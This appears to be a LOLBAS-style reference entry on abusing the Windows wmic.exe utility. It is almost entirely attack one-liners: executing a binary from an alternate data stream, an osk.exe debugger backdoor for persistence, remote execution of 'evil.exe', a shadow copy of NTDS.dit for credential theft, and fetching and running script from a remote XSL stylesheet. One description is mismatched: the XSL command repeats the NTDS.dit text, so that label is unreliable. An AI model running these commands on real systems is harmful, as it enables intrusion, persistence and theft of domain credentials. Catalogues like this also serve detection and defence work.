The WMI command-line (WMIC) utility provides a command-line interface for WMI

Paths:

C:\Windows\System32\wbem\wmic.exe
C:\Windows\SysWOW64\wbem\wmic.exe

Detection: Wmic getting scripts from remote system

Alternate data streams

Execute a .EXE file stored as an Alternate Data Stream (ADS)

wmic.exe process call create "c:\ads\file.txt:program.exe"

Execute

Execute calc from wmic

wmic.exe process call create calc

Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.

wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"

Execute evil.exe on the remote system.

wmic.exe /node:"192.168.0.1" process call create "evil.exe"

Create a scheduled execution of C:\GoogleUpdate.exe to run at 9pm.

wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"

Create a volume shadow copy of NTDS.dit that can be copied.

wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"

Create a volume shadow copy of NTDS.dit that can be copied.

wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"

Executes JScript or VBScript embedded in the target remote XSL stylsheet.

wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"